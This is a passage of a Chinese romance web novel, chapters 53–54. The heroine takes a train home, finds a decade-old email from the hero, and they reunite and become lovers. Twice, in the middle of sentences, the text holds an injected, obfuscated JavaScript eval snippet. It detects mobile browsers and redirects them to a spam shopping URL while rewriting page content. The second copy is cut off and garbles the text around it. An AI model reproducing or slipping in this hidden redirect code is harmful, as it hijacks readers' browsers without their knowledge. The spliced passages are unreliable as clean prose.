他讲他在波士顿的生活,他说他创立了一个叫“良鹿”的基金,说他设计了一个算法用于投资基金,预测股市动向,将来体量足够大没准还能在股市兴风作浪——顾清泽的成语一向用得差强人意,周测记得自己看到这里笑了一下…… 最后,他说,他很想她。 每一天。 今天尤其。 周测后来想起来,那一天,应该是顾清泽十八岁的生日。 他写了满满一屏幕思念,却一个字也没提自己是怎么被逼离开的。 53.就让这大雨全都落下 沈峤打来电话的时候,顾清泽正跟沈博容说话。 这孩子还是偷偷来向他求助了。 “你离开家的时候伯母知道吗?” 她点点头,不自觉地拧手指,拧得指节发白,“她是不是已经起疑心了?她先问我‘哈,顾清泽答应跟你见面?你约的?’听我说是,就笑了,笑得有点古怪……” 顾清泽简直担心她再一用力会把手指拧断,用尽可能沉静的声音说:“别怕,郑纶已经安排好了一切,你护照带了吧?” 她立即翻开自己的包,掏出护照,打开看了看,再哆哆嗦嗦放回去,拉链拉了几次都没拉好。 顾清泽只当没看到,“等一下你还是跟你家的车走,然后,你告诉司机,要去Harvey Nichols买点东西,郑纶已经安排了人,在卖瓷器的地方等你,是一位张小姐,她会陪你去机场。还有,博容,我帮你找了一份工作。” 沈博容觉得自己又要吐了,她极力按捺住,“是、是什么、工作?”在超市收银?在咖啡店当员工?后厨洗碗? 她爸妈总是说,她一个学美术的,如果不是家里安排,能干什么体面工作?她能找到的工作,工资付了房租就不够吃的,最终还要流落街头。 “我在波士顿美术博物馆认识的一位朋友,和你一样学的艺术史和油画,之前还在拍卖行工作过,现在,她和她的老师在意大利北部一个小修道院修复文艺复兴时期的壁画。我介绍你去做她的学徒。”顾清泽递给她一张名片,“你可能听说过她的名字。” 沈博容看到名片上“韩瑶光”几个字,惊讶地把名片翻来覆去看了几次,“啊……她?她——我?我可以吗?我的履历……我、我……” “你可以。我给她看了你的毕业作品,还有你的求学经历。她认为你完全能胜任。”他又给她一张卡,“学徒的工资不高,不过住宿免费,如果你不介意食物简单,也可以在修道院和修女们一起吃饭。这张卡,是我借给你的,有需要就用,密码是六个0,你自己修改。” 沈博容哭了,她浑身发抖。 顾清泽抓了一大把纸巾塞给她,“听我说,你会害怕,这很正常。你还会后悔,会想妥协,会疑神疑鬼——但是没事,你会忍过去的。” 她用力点头,“好。” 这时,远远站在窗边面对窗外的郑纶突然握着手机转身看过来。 顾清泽感到不妙。 郑纶看了一眼沈博容。 顾清泽催促她:“出发吧。”他站起来,和沈博容握手,“祝你前程似锦。” 沈博容一走,郑纶立刻说,“陶小姐——” 沈峤送陶涓回家后,一切正常,昨晚十点问她感觉怎么样,陶涓回复说好多了,准备睡了,让她不用刻意晚睡。 到了今天早上,沈峤订好早餐去送,先手机联系,陶涓一直没回,她又去敲了敲门,也没回应。 沈峤没有傻等,立刻跑去大堂找公寓管家,还没说明情况,管家就告诉她,陶小姐今天一早出门了,他还帮忙提行李箱。 沈峤心知不妙,没敢直接联系顾清泽,先找郑纶商量:“陶小姐没有跟我说周末有出行的计划,而且,昨天章先生让我送她提前送她回家时,她明明看起来状态不太好,怎么办?” 郑纶心里一千头羊驼跑过,“昨天你怎么不跟我们说陶小姐不舒服,或者有些反常?” 沈峤:“……陶小姐特意叮嘱我别说,她怕老板担心……” 郑纶都服了,“你可以不跟老板说,但可以跟我说啊!”他快速思考,“你不是有曹艺萱微信吗?问一问。我现在跟老板说。” 顾清泽盯着茶几上几张凌乱的纸巾呆了一会儿,联系章秀钟。 章秀钟微信语音的铃声是一首很老的歌,反复唱着,“醒醒吧,麦琪”…… 整首歌唱完,无人接听。 郑纶大气不敢出,很快这旋律再次响起。 章秀钟终于接起来,好像还没睡醒,也可能是宿醉,先骂了句脏话,“你神经啊,星期六大早上打给我干什么?” 顾清泽劈头盖脸问:“昨天陶涓有没有什么不寻常的地方?” 章秀钟愣了一下,“她怎么了?” “她走了。”说出这三个字那一刹那,顾清泽忽然感到上不来气,他大口吸气,又努力咽下这口气,“她有没有——有没有问你什么?或者说了什么……” 章秀钟打断,“吉水。她问了吉水——哦不,她问的是……Good deer.我说是Good water,她以为我说错了,嗯……她当时先问我的是中文,是……吉鹿?不,不对,不是这个字……” “良鹿。” “啊,对!良鹿!”章秀钟追问,“我现在回想,她当时的表情有点怪,良鹿基金……” 他一边说话一边搜索,“确实有这个基金,哦,还是熟人,跟我们一起做空方舟的就是它。我就说她问起的时候好像在哪儿听过……到底怎么了?” 顾清泽失魂落魄,隔了好半天才说,“良鹿,也是我的。” “你是幕后控制人?这和陶涓突然跑路有关系吗?” 顾清泽坐在沙发上,心脏像陷入荆棘从中的野兽,太过惊恐时感受不到疼痛,已经血肉模糊,仍然扑腾着,垂死挣扎。 “喂——你别不说话啊,你跟我说了我才好帮你啊!你从雍岛飞回来还要几个小时呢!不告诉我,你只能干着急……清泽?你没事吧?你身边还有谁?郑纶在不在?” 章秀钟第一次没用那种不怀好意、看热闹不嫌事大的语气,让郑纶感到陌生。 “章先生,这是陶小姐身份证号……您先帮忙找找她去了哪儿,行么?” “有消息我立刻通知你们。看好顾清泽。” 郑纶答应了,但是有点愁,他一向英明神武的老板此刻倒在沙发上,蜷着身体,抓着抱枕挡在脸前。 要是陈淇这死鬼没辞职去什么诗和远方就好了!该怎么哄人啊?他不会呀!他也没见过仿生人突然死机的场面啊! “呃……”郑纶正疯狂压榨脑细胞,顾清泽突然一跃而起,差点没把郑纶吓摔倒。 “看看能不能改航路,立刻就飞,飞滨市!”顾清泽绕着沙发狂走,“如果不行就给我定下一班去滨市的航班,不要管什么舱位,越快越好!” 郑纶在候机室接到章秀钟电话—— “她坐高铁回滨市了!车次是……嗐,你老板就是自己吓唬自己!他用那个基金干什么伤天害理的事了还是怎么着?”章秀钟笑了两声,“你们现在在哪儿?” “刚到机场。定了去滨市的飞机,马上登机了。”郑纶看看顾清泽,还好,又恢复仿生人的平静庄严和美貌了,就是暂时还不知道内里是个什么情况,告知他最新的消息,他也只是点了下头。估计机芯已经烧黑了。 “你老板疯了没有?” “还没。”郑纶暗中叹气,没忘了拍章秀钟马屁,这么快就查到信息。 章秀钟谦虚,“哪里哪里,我只是告诉了孙淳,她有个追星用的黄牛,给他们身份证号一下就查出来了。” 郑纶:…… 浑浑噩噩上了飞机,落座,起飞,安全带指示灯熄灭,空乘来送餐食饮料,顾清泽看着舷窗外海洋和陆地的交界线,想起上一次他乘经济舱,也是从雍港起飞,沿着海陆交界线一路向北。 那时,她坐在他身旁。 他阖眼假寐。 胸腔里那只陷入荆棘丛的小兽躺在血泊中,肚皮轻微起伏。 也许他走了弯路。 也许他做错了。 也许他干了蠢事。还干得不少。 但是,他再也不想逃避。 他要找到她,面对她,告诉她。 哪怕她不信。 哪怕她亲手把他的心拽出来撕成两半扔在地上。 郑纶侧眼看老板一眼,悄悄发消息给沈峤:“别联系曹小姐。” “哦哦哦。好的好的,我正打字呢。” “也暂时别再联系陶小姐了。” 沈峤发个OK的手势。又问:为什么啊? 郑纶:唉,孩子,你没救了。要是你打草惊蛇了——懂? 郑纶:我现在坐他旁边都腿肚子打颤。仿生人杀气惊人。你想脑袋被他撕下来你就试试。 沈峤:……我再次申明啊,我从来没说过老板像AI仿生人。 飞机在4小时35分后降落在滨市机场。 一出机舱,郑纶就暗道了不得!好冷! 廊桥外的天空阴沉沉的,不知道老天是打算下雨还是下雪。 火车站台一阵冷风,把陶涓吹得眯起眼睛。 她看看天色,黑压压的乌云,像是随时会落下雨。 总之,先去找ATM机。 也不知道是她恍恍惚惚的就很容易出岔子,还是纯倒霉,坐车去火车站,破天荒的,把手机落在网约车上了! 火车开动后她想给手机充电,拿出充电线才发现手机不见了! 手机简直是外置型辅助大脑的存在,陶涓一下慌了。第一反应是手机被偷了,可是,堂堂北市,朗朗乾坤,小偷还敢跑高铁站来? 她又想了想,推测手机是落在网约车上。 跟乘务员借了手机打自己电话,还挺幸运的,电话响了几声接通了。 司机大姐人不错,“当时我就喊您呢!您拉着箱子就跑远了!车站那儿也不让停车啊,我也没法下来追您啊!您说,给您送哪儿?” 陶涓只好请大姐方便的时候送回公寓,大堂管家会代为保管。 大姐一口答应:“行!你要再晚几分钟,手机没电了可更麻烦了!” 乘务员笑,“等拿到手机了一定得给人大姐五星好评,再给发个大红包!” 陶涓讪笑:“必须的。” “您去滨市是出差还是?” “回家。” “啊,那还好。用不用再给家人打个电话?” “不用,不用!”陶涓再次讪笑,她凌晨跟周测通话后临时起意要回滨市一趟,连曹艺萱都没告诉。 主要是……告诉也没用,曹艺萱肯定也不能懂。 她一定会问,那你直接打个电话给顾清泽,问问不就行了? 不行。 “那你有现金吗?” “啊?”陶涓怔了一下,才意识到乘务员还在跟她说话,她迷茫地反问,“现金?” 乘务员大概率不是第一次遇见这种马大哈乘客,提醒道。“你没手机就没法叫车没法坐地铁公交啊!” 陶涓:“啊……”还好,她带着银行卡。 曹艺萱肯定会问:为什么不行? 反正就是不行。 陶涓暂时无法解释为什么不行。只是有种坚定的直觉。不行。绝对不行。她一定要回去,要找到那封电邮,要亲眼看到它。 回到座位,她朦朦胧胧睡着,猛地惊醒,火车刚好经过一个小站,白色石牌上黑色站名一闪而过,她扭着脖子向后看,小站早已被时速三百公里的火车抛得远远的。 刚才那一晃而过景象有些眼熟…… 陶涓心慌意乱。 她扭过头,铁路两旁现在是一片北方农田,田间小路是高大的白杨树,银色的树身上有一只只眼睛。 她又去找乘务员,“不好意思,刚才我们经过了一个很小的站,那个站是哪儿呀?” 乘务员告诉她,是个叫“云泉北”的小站。 又问她:“怎么了?” 陶涓完全不记得这个地方,只得再次跟人家讪笑,“没事,可能我记错了。谢谢您啊。” 她站在车厢连接处,对着车外一掠而过的风景发了会儿呆,突然福至心灵,“哎呀”一声急匆匆跑回去向自己座位,恰巧又遇到那位乘务员,“哎,您慢点,小心!” 陶涓从包里拿笔电的时候包的拉链卡住了,拉了几次卡的死死的,她咬着牙猛一用力—— “嘭通!”放在桌板上的保温水壶摔在地上,骨碌碌顺着过道滚动。 邻座的老阿姨有点担心,“姑娘,你没事吧?” 陶涓吸着鼻子摇摇头,忽然一阵无力,只能靠在座椅上。 鼻子发酸,眼眶烫烫的,她想把眼泪憋回去,可这世上最残酷的两个法则,一个是重力,另一个是时间。 平静地流了会儿泪,力气又回到身体。 陶涓先捡回水壶,回到座位后,捏着电脑包拉链锁头轻轻向上一提,再一拉,拉链打开了。 笔电屏幕闪动,她点开浏览器,才想起来,哦,没连手机热点,上不了网。 天哪,天哪,她怎么糊涂到这个地步? 现在怎么办? 陶涓啃着下唇,抿在上下牙之间咬了咬,心一横,去连接高铁上的WiFi。 她从不使用公共WiFi。 对她来说公共WiFi就跟皮肤科医生眼里的公共浴池是一样的存在,不安全,有病毒。 可眼下她顾不得了,急于确认她的猜测,忍着全身不适放弃了坚守多年的原则。 可是—— 她呆呆看着屏幕上的提示,要连公共WiFi还要输入手机号码接收验证码! 可她手机丢在网约车上了! 陶涓问邻座阿姨,“能不能请您帮个忙?帮我扫下这个二维码,再跟我说一下验证码,我想连上WiFi上网查点东西。” 她说着,心中一阵抽搐,她怎么迷糊到这种地步?怎么连什么基本常识都忘了?她到底是怎么了? 邻座阿姨现在看她的眼神已经不仅仅是担心了,还带着点害怕,错愕片刻后,她说,“不是阿姨不想帮你,是我家姑娘反复跟我说过,任何人要我手机验证码都不能给。这样吧,我帮你叫乘务员……” 陶涓抹泪,“对不起,是我急了,我忘了网络安全……我……” 阿姨也急了,嗓门一下拔高,“哎?你这孩子,别哭啊!你怎么了?到底遇见什么为难的事了?” 前后排的几个乘客议论起来:“怎么了?” “手机丢了!” “好像有什么急事?” 一个后排大叔站起来:“别慌别慌!我去找乘务员。” 要搁平时,陶涓这时候早恨不得从车窗跳出去——她生平最怕麻烦别人,可今天也不知怎么了,她顾不上尴尬,甚至也不觉得丢人,还跟人说了声谢谢。 乘务员很快来了,再次把手机借给陶涓,“你要上网搜索什么啊?急成这样!” 陶涓问,“您知道从北市出发,终点站是江油的那趟列车吗?——那趟车现在还运行吗?车次好像是……” 过了这么多年,全国铁路几次提速,车次也几经变动。 但在乘务员帮助下,陶涓终于搜索到了她要找的信息。 良鹿站。 良鹿,是一个小镇。 小到只有最慢最慢的火车才会停下。 站台简陋,站牌也很简单,原色混凝土做的,用油漆涂的黑色宋体字。 很多年前,顾清泽和陶涓乘着绿皮火车经过这里,他看到站台上有个卖水果的老婆婆,买了一大兜子她这辈子吃过的最酸的水果。 良鹿之后另一个很小很小,许多人一生都没听说过的小镇,叫吉水。 他们那趟行程的目的地,白马村,在更遥远的西南山区。 吉水。 良鹿。 白马。 她如释重负,无声地笑,又流出泪。 她就知道。 她就知道! 乘务员和老阿姨互相看看,阿姨问:“姑娘,没事了吧?找到你要找的东西了?” 陶涓抹着眼角用力点头,“嗯!”找到了。 她想立刻就看到那封电邮。 她想知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400965|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾清泽当年写了什么。 也想问问他,为什么不告诉她,他给她写过一封电邮。 其实他好像隐晦地提起过,只是她毫无察觉。 啊……原来他那时说的是这个! 看到她的反应,他一定很失望吧? 也许还在心里嘀咕——你是没拉黑我微信,那邮箱呢? 她厚颜问乘务员:“我能不能再打个电话?” “能!你打!”乘务员笑了,“要在这儿打还是找个更有隐私的地儿?” 陶涓脸一热,没忙着答,仔细想了想,“唉,还是不打了。” 啊——啊啊—— 她内心的土拨鼠在尖叫—— 她、不、知、道、顾清泽手机号! 大学时候大家联系也都微信为主,何况现在? “真不打啊?” 她不好意思说自己不知道号码,咋打呀?只坚定地摇摇头,把手机还给人家,“真不用。谢谢您。” 从北市到滨市的高铁车程五小时多。 陶涓每隔一会儿就伸长脖子看车厢门上方的电子信息牌,几点了?怎么才过了一个小时? 风驰电掣的高铁突然间变慢了。 邻座那阿姨像怕饿着她,一会儿塞给她一个小面包,一会儿又削了个大桃子跟她分,“孩子,你别急。真心喜欢你的人哪儿能因为晚一点就不回来找你了?你信大姨的,晚个几小时打电话,一点事儿没有!” 终于到了站,陶涓先去ATM机取钱。 然后排队坐出租车,还得先问师傅收不收现金。 到家的时候刚过午饭时间,楼道里还能闻到谁家的饭香。 陶涓打开门,拖鞋都没穿,光脚跑进自己卧室,从床下面拉出一个收纳箱。 去方舟实习第一周,带他们的小组组长就给所有人上了一课,一切工作要留痕。不然就等着背黑锅吧。 “所有邮件往来要分类归档,不要出了事再说找不到,更不要说‘领导让我删的’!” 另一个实习生委委屈屈说:“可是,就是你昨天让我删的啊!” 组长冷笑:“我让你删的?我发邮件给你了?没有!那你有什么证据说是我让你删的?” 陶涓当时脑子里就四个字:人心险恶。 当晚回家她就做了个自动备份的小程序,分类邮件文档,记录时间,然后是最关键的一步——定期传输上载到移动硬盘! 箱子有个黑色纸盒,存放着她工作以来每年备份的硬盘。她找到工作第一年那张,连上笔电,搜索,关键词:guqingze。 硬盘转动发出低沉的嗡嗡声,那封尘封了十年的电邮找到了。 陶涓读的时候想起了顾清泽在她家楼下说的,当时他就后悔了。 是真的。 他在这封信里也是这么说的。 他讲了他在波士顿的生活,他最近又去了美术博物馆,这次看到了他们上次来因为在修复的而错过的展品;他讲他在校园遇到的人,说他依旧住在他们相遇那间酒店,但是再也没开过泳池派对;他说他说他创立了一个叫“良鹿”的基金,还设计了一个算法预测股市动向,下周市场会告诉他这个算法是否成功,他估计多半会成功……他说上周在圣诞市场见到了和“世界最酸的果子”长得很像的水果,买了一些,但竟是甜的!真是遗憾。 最后,他说,他很想她。 每一天。 今天尤其。 陶涓早已泪眼模糊,她擦擦泪,看一下邮件发出的日期,那一天,是顾清泽十八岁的生日。 她合上电脑匆匆出门,她要去电信营业厅办卡! 她要立刻跟顾清泽说话! 等着叫号时她到隔壁随便买了个手机。 终于拿到新卡,还要重新验证微信! 陶涓觉得自己这辈子的耐心都消耗在今天了,她点开微信时手在发颤,可一看,顾清泽上一条微信还是昨天晚上临睡前发的。 她忽然觉得好笑,心里一下轻松了。 那句话怎么说的?暗恋是一个人的兵荒马乱。 何止兵荒马乱,她回想自己饱受煎熬的这两天,简直是一个人在上演狗血抓马的短视频! 她问他:你在哪儿?什么时候回来?我们谈谈。 发完她呼口气,用手揉揉肩颈,怎么酸痛成这样?不过拎个小行李箱。唉,回北市后一定得开始举铁了。 紧接着肚子也咕噜噜发出抗议。 她这才发现外面早下起大雨,只得沿着连廊走到附近一家便利店买了点热食果腹,叫了车一边吃一边等。 眼看雨越下越大,想到她家那老式楼房没有雨棚,出便利店之前又买了把雨伞。 这时顾清泽还没回复。 她也不觉得怪,猜测他可能还在忙。 车来了,她冒雨上车,跟司机师傅寒暄几句。 平时步行十几分钟的路程今天开车走了二十几分钟,大雨滂沱,天昏地暗。 司机停在楼门洞前面,陶涓一打开车门,冷风卷着雨扑头盖脸打来,便利店的廉价透明雨伞在强风之下几乎没法撑开,打开之后好像也没太大用处,冰冷的雨还是劈头盖脸,她哆嗦着下了车两三步冲进楼门洞,忽然听到有人在背后叫她—— “陶涓——” 她大惊,正要扭头,眼前猛地金光一闪,轰隆隆——惊雷落下。 是她听错了吗? 她转过身,视网膜上还残留着闪电的光影,看到顾清泽从一辆黑色越野车下来。 是幻觉?是真的? 她疑惑之际,他已经朝她奔来,顷刻之间被大雨打湿。 她朝他跑过去,他面白唇青,好像之前已经淋过雨,头发湿漉漉的,雨水顺着他眉毛走势滴落,连他睫毛也抿成一簇一簇的,她举起手中的雨伞想遮住他,“你怎么来了?出什么事儿了?” 那把伞太小,根本遮不住两个人,一阵狂风袭来,雨伞倒翻成斗,伞骨也折了,陶涓惊叫一声,没来得及抓紧,雨伞脱手飞到半空,转眼在雨幕中不见踪影。 这几秒钟工夫,冰冷的雨滴疯狂砸下,陶涓拽着顾清泽跑进楼洞,他这副失魂落魄的样子让她担忧得要死,她轻轻抚摸他脸颊,拨开他额头上的湿发,“你怎么了?” 他眼圈红了,嘴唇微微颤了颤,用力按着她的手,“我——我喜欢你。” 楼道里的感应灯突然闪了闪,又一道炸雷劈下来,好像整座老楼房都在震动。 陶涓呆呆仰望着顾清泽。 “我喜欢你,一直、一直喜欢你……从在波士顿的时候就喜欢你,现在也一样……”他眼睛红红的,他缓慢又绝望地摇摇头,“不,现在更喜欢了。” 他睫毛上的雨水流进眼睛,又流出眼眶,他抓住她的手腕,哀求道:“别讨厌我……我知道我有很多毛病,可我会改的……我已经在改了……” 陶涓没让他再说下去。 她两手紧紧按在他脑后,把他拉向自己,坚定地扬起脸,微微阖眼,用力吻在他唇上。 她退后一点,看一看他,再度拥抱亲吻他,用肢体语言告诉他—— “我知道,顾清泽。” “我也喜欢你。” “很喜欢。” “非常、非常喜欢。” “比所有一切都喜欢。” 滨市的雨,即使在盛夏也是冰冷的。 也许是太冷了,也许是别的什么原因,她和他都在发抖。 而发抖,是大脑为了恢复核心体温下达的指令,让肌肉不自主的、快速交替收缩与舒张,释放能量。 陶涓感到顾清泽也在剧烈的颤抖,她退开一点,看到他合着眼睛,像在做梦,又像在祈祷。 她再次用唇贴上他,加剧这种颤抖。 这一次的颤抖终于起效,她和他一起热起来了。 这种现象,叫共振。 54.小太阳和罗马袍(含入V通知) 今天之前,陶涓从来没想过自己会这么狼狈。她想,顾清泽可能也一样。 她把淋湿的小狗带回家,却发现她家没有能给他替换的衣服,只好找出一条毛巾被给他包上。 六月的滨市下雨后室内温度只有十二度,她夏季极少回来,在储物间翻了半天才在最上层的隔板发现小太阳暖风机,顾清泽披着毛巾被做的古罗马袍,站在小圆凳上把这根救命稻草抱下来。 开了暖风,两人坐在床前地板上对着小太阳橘色的光,渐渐暖和起来,她看着他,不知道他是没睡好,还是眼睛进了雨水,眼白全是红血丝,心里一阵酸软,又心疼又愧疚,“我是想上了车再给沈峤发微信,她说会和朋友玩手游,睡得晚……唉,可我手机丢网约车上了。” 她忽然笑了,“我在火车上借了别人手机,想给你打电话,可是想不起来你手机号码。” 他想了想,也笑了,“我也不记得自己号码。” 四目相对,陶涓忽然感到一阵热潮从领口直冲向下巴,熏得整个脸颊烫烫的,她微微侧过脸,不再和他对视,等这股热潮退下一点,问他:“你饿不饿?我刚才在便利店买了点吃的,我去……” “我不饿!”他抓紧她手腕不让她走。 她心脏通通乱跳,“那……你还冷吗?” 他迟疑,“有一点。” 她从床上拉下一条被子裹在两人身上,像围起一个小帐篷,“这样呢?还冷吗?” “嗯……好像还有点冷。” 会不会是感冒了? 她赶紧摸摸他额头,好像是有点热?可家里没有体温计。 她凑近,跪坐着,两手托在他后脑,额头抵在他额头上,她是想要试一试他的体温,没想到顾清泽喉咙深处吸了口气,略带惊慌,在她移开后,他停了一会儿才缓缓张开眼,迷惑地微微歪头看着她。 陶涓愣了愣,忽然明白他刚才在期待什么,顿时觉得他可爱极了! 她再次贴上去,鼻尖蹭蹭他鼻尖,再拉开一点距离,笑着看他,在他疑惑时再贴近,这次她用脸颊去蹭他一边眉毛,用食指沿着他另一边眉毛的走向缓慢描绘,她从来没有离他这么近,近到能听到他的呼吸因为紧张而混乱,近到看得清他瞳仁里她的倒影,她在微笑。 她又退后一点看他,心中充斥奇异的欣喜和从来没感受过的满足,那么满,在心里乱撞,好像有一股泉水从心底撞开了个口子喷薄而出,在内脏血管之间乱撞乱冲。 她听到自己发出轻叹,忍不住继续抚摸他的脸庞,手指顺着他眉毛移到眼眶下,又抚过他高高的鼻梁,停在他鼻尖,他鼻尖正中有一道小小的凹痕,她记得温医生说过这叫“盒型鼻”,近年来很受推崇,但后天很难做得到…… 她指尖停在他唇峰上,沿着那把丘比特的弓慢慢走,又点在他下唇正中,他这里微微下陷,像是被一根隐形的手指轻轻按下一点。 顾清泽在梦中也从未幻想过陶涓会用这样的眼神看着自己,充满欣赏,迷恋,甚至有些贪婪,她抚摸他脸庞时,眼神随着指尖移动,每到一处,就细腻地描画摩挲,像是要用触觉确认他,熟悉他,记住他。 她的抚摸并没带其他意味,可却唤醒了他的感官,皮肤上的触觉忽然灵敏了许多,他惊奇地发现,原来人脸上那些看不清的小汗毛竟然真有作用,当然,这只是最微不足道的发现…… 当她抚摸他嘴唇,一种本能突然爆发,他无法抑制,在她微微惊愕时咬住她那根拇指,含在唇齿间轻轻舔舐。 这反应确实是她没有预料到的。 可她对他已经生出了无限的包容,她没有挣脱,用低到只有他们两人能听见的声音命令他:“张嘴。” 他温顺地服从,她的拇指在他唇上又转动一下,替换她的双唇。 这次陶涓确认了,顾清泽毫无经验。她教了他几次,他懵懂笨拙地试着回应,学得倒是很快,极度痴缠,肢体僵硬,抱她抱得太紧,她听见他用力且急促的呼吸,松开他,果然看到他闭着眼睛,胸口剧烈起伏,身体轻微发抖。 “你还冷吗?”她很担心他受了冻,再摸摸他的手心,额头,天哪,好像更烫了。 她拉他,“到床上躺着吧,地上坐久了还是冷的。” 他的脸猛地涨红,看看她,似乎有疑问,陶涓笑了,“想多了你!地上真的冷。” 陶涓拉上被子,和顾清泽并排躺着,再摸摸他额头,他忽然主动,拉过她的手放在唇上,亲亲她的手心,又抓住她的手放回自己脸上,一脸期待。 她轻轻笑,顺着他的心意再次抚摸他脸颊,头发,耳朵。 过了一会儿,顾清泽小声说:“脖子以下……也可以摸。” 陶涓笑出声。 他也笑了,“你笑什么?” “没事,想到个梗!” 他主动拉住她的手。 片刻之后,他又喘着气,重新抓住她的手,“我……” “不是刚给我开放授权了吗?”陶涓故意逗他。 顾清泽忍着笑,双眸在小太阳橘色的光下像亮晶晶的琥珀,清澈得能倒映出爱人如涂了胭脂的脸颊。 两人紧紧相拥。 他们不冷了,可依然颤抖。 悸动的心逐渐频率相同。 心跳产生的共振让极北高原上的堰塞湖轰然决堤,沉静多年的冰湖化为一池春水,沿着山脊流向峡谷,将布满乱石和冰雪的谷底注满。 顾清泽侧躺在陶涓枕畔,花了好久才重新调匀呼吸,他仔细看着她,总怀疑这一切是不是梦。 太不真实了! 太美好了。 太完美了。 近乎邪恶。 陶涓亲亲他睫毛,抚摸他后背。 他背上有一层小汗珠,心脏跳得隔着肩胛和背肌也感受得到。 她忽然感到心疼,他竟然等了她那么多年,他竟然错过了那么多。 “你当年究竟为什么突然退学的?是不是周测跟你说了什么?”她真是太粗心了,他明明告诉过她,他拉黑她当天又撤销了,那为什么又不告而别? “还有,你猜到我没看到那封邮件,你为什么不问我?”如果他追问下去,告诉她他给她写过信,她一定能想到为什么她从来没收到那封邮件。 他看着她,眼睛里只有笑意,过了好半天,“那些现在都不重要了。” 陶涓脸缩在毛毯里,心里一阵酸楚。她咬住嘴唇,等眼泪被毛巾被上的绒毛吸收了,才把头靠在他下颌。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404246|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >顾清泽从头到尾,都没有说周测一句坏话。 他是为了维护周测么? 当然不是。 他是不忍心让她伤心。不忍心让她觉得,自己傻乎乎地爱过一个这样的人。 他真的是一个很好很好的人。 很好很好。 外面的雨终于小了,天空还是暗暗的,不知道究竟几点了,房间里只有小太阳发出的橘色暖光,像原始人洞穴里的篝火。 陶涓再醒来时,热得出了一身汗。 她摸索床头,找到台灯开关,看看时间,已经晚上九点多了。 整间屋子只有厨房的灯亮着,香甜的米粥味从门缝溢出来,引得她肚子一阵咕噜。 她推开门,顾清泽正忙着做饭,回首对她一笑。 “虾球粥?!”陶涓跑到他身后抱住他后背,“天哪,田螺姑娘,你从哪里弄来的食材?” “我让郑纶送来的。还有水果和蛋糕,我放冰箱了。”他关掉火,“你饿了吧?” “超级饿!”陶涓这才注意到他还换了身衣服,洗碗池里接着半池水,放着一束还没打开的香水百合。 陶涓把客厅里的落地灯打开,百合花插好瓶放在窗边,花香和灯光还有窗外的雨声已经很美,她仍觉美中不足,又取出白色亚麻桌布铺在小圆桌上,再移来一座深绿色塔夫绸灯罩的小台灯放在桌上,顾清泽端上两碗粥和一碟菜心,看看这气氛,“啊,早知道不做粥了……”太简慢了。 “不不,我正想吃粥呢!”粥怎么了?哪怕他端上来一碗猪肉炖粉条她也觉得浪漫极了! 吃完饭,顾清泽去洗碗,这次依然理直气壮对陶涓伸直了两条手臂,她给他解开袖扣,袖口向上一折,再一折,捋平一点,折过手肘,整理一下,再去折另一支袖子。 顾清泽低着头,鼻端隐隐能闻到她头上橘子味洗发水的气味,她几根头发就像蝴蝶的触须一样碰到他下巴,引起一连串联动,先是喉咙痒,一直痒到心脏,随着心脏的血液泵出,唤醒其他器官。 陶涓折完另一支袖子,手指顺着他手臂的凸起的血管滑到他手背,再拉住他手掌轻轻摇一下,小声问他,“能不能……先不洗碗?” “嗯?”他喉结动了动,低声问:“为什么?” 她仰起脸,手又从他手腕滑到他手肘,“因为……我想先亲亲你。” 他低头,抱住她,“我也想。” 陶涓很小的时候看过一篇科普文章,在人类的诸多感官中,能记得最深的是嗅觉。因为嗅觉系统与大脑记忆、情绪中枢的直接神经连接,不用经过丘脑中转。 这天晚上她确信这说法绝对正确。 大雨过后带着微寒的泥土味,许久没人住的房间里有点寂寞的冷清,被小太阳烘烤到热乎乎的老柚木地板,从樟木衣柜里抱出来的毛巾被、毛毯还带有一丝用来防虫的香皂味,顾清泽身上的气息——他常用的那种木质香,在他皮肤上闻起来和平时有微妙的差异,还有她和他的汗水混合在一起的气味…… 所以这些糅合在一起,无法分解。 她闭上眼睛,细细地嗅闻这奇特的气味,她有种预感,自己很老很老的时候,也许自己的名字都记不清了,这个气味会是她最深刻的记忆之一。